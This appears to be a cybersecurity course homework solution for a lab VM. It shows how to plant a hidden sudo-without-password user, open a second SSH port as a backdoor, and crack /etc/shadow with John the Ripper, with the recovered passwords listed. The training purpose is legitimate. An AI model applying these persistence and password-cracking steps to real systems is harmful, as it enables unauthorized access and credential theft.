**Week 6 Homework Solution: Advanced Bash - Owning the System**

**Lab Setup**

1. Log into the VM as root on the attacker machine:
   * Run vagrant up to stand up your lab environment.
   * Within the attacker machine, log in with the credentials:
     + Username: sysadmin
     + Password: cybersecurity
2. Using the attacker machine, remote into the target machine:
   * ssh sysadmin@192.168.6.105 -p 22 and enter passw0rd when prompted.
3. After logging in as sysadmin on the target machine, run sudo -s to escalate your user to root. Enter passw0rd when prompted.

You will not need the above steps as part of your submission file.

**Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:
   * sudo useradd sysd
2. Give your secret user a password:
   * sudo passwd sysd
3. Give your secret user a system UID < 1000:
   * sudo usermod -u 400 sysd
4. Give your secret user the same GID:
   * sudo groupmod -g 400 sysd
5. Give your secret user full sudo access without the need for a password:
   * sudo visudo
   * Add the line: sysd ALL=(ALL:ALL) NOPASSWD:ALL under the root entry:
6. # User privilege specification
7. root ALL=(ALL:ALL) ALL
8. sysd ALL=(ALL:ALL) NOPASSWD:ALL
9. # Members of the admin group may gain root privileges

%admin ALL=(ALL) ALL

* Swap to your sysd user and enter the password you set.
  + su sysd

1. Test that sudo access works without your password:
   * sudo -l will show the following output:
2. Matching Defaults entries for sysd on scavenger-hunt:
3. env\_reset, exempt\_group=sudo, mail\_badpass,
4. secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
5. User sysd may run the following commands on scavenger-hunt:

(ALL : ALL) NOPASSWD: ALL

**Step 2: Smooth Sailing**

1. Edit the sshd\_config file:
   * Run sudo nano /etc/ssh/sshd\_config and add the following line in the configuration file:
2. # Add an extra port line:
3. Port 22

Port 2222

**Step 3: Testing Your Configuration Update**

1. Restart the SSH service:
   * service ssh restart or
   * systemctl restart ssh
2. Exit the root account:
   * exit
3. SSH to the target machine using your sysd account and port 2222:
   * ssh sysd@192.168.6.105 -p 2222
4. Use sudo to switch to the root user:
   * sudo su

**Step 4: Crack All the Passwords**

1. SSH back to the system using your sysd account and port 2222:
   * ssh sysd@192.168.6.105 -p 2222
2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:
   * sudo su
   * john /etc/shadow

Wait approximately 5-10 minutes for John to crack all the passwords.

* This partly depends on what password you set for your sysd user.
* # john /etc/shadow
* Created directory: /root/.john
* Loaded 7 password hashes with 7 different salts (crypt, generic crypt(3) [?/64])
* Press 'q' or Ctrl-C to abort, almost any other key for status
* computer (stallman)
* freedom (babbage)
* trustno1 (mitnik)
* dragon (lovelace)
* lakers (turing)
* passw0rd (sysadmin)

Goodluck! (student)